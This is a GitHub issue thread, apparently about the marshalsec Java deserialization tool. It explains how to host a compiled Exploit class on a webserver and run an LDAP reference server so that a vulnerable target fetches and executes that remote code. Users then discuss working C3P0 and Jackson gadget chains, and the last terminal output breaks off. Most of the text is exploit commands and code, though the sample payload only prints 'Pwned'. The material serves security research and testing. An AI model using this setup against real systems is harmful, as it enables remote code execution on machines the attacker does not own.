Closed jasinner closed 7 years ago
The flow essentially is:
You'll also need a webserver running somewhere hosting the code you ultimately want to execute.
E.g. Exploit.java
public class Exploit {
static {
System.err.println("Pwned");
try {
// trigger an access check so that the test sees this has been executed
String user = System.getProperty("user.name");
} catch ( Exception e ) {
}
}
}
compile that javac Exploit.java
and put it on that webserver. Let's say that it is now accessible (from the exploitation target) as http://192.0.2.1/foo/Exploit.class then you would run the LDAPRefServer as
java -cp target/marshalsec-0.0.1-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://192.0.2.1/foo/#Exploit
Hope that clears it up.
Great, Thanks. I got the C3P0 exploit to work with this setup.
Nice work @mbechler, thank you! I was trying to get the Jackson exploit to work with an LDAP remote codebase. I see you have an example LDAPServer which we can use, but I'm not sure what to use as the argument when starting to make the Jackson Marshal work. Can you give more details for that? Here's what I tried: Terminal 1:
java -cp target/marshalsec-0.0.1-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer file://marshalsec.gadgets#JdbcRowSet
Output:Listening on 0.0.0.0:1389
Terminal 2:
Output: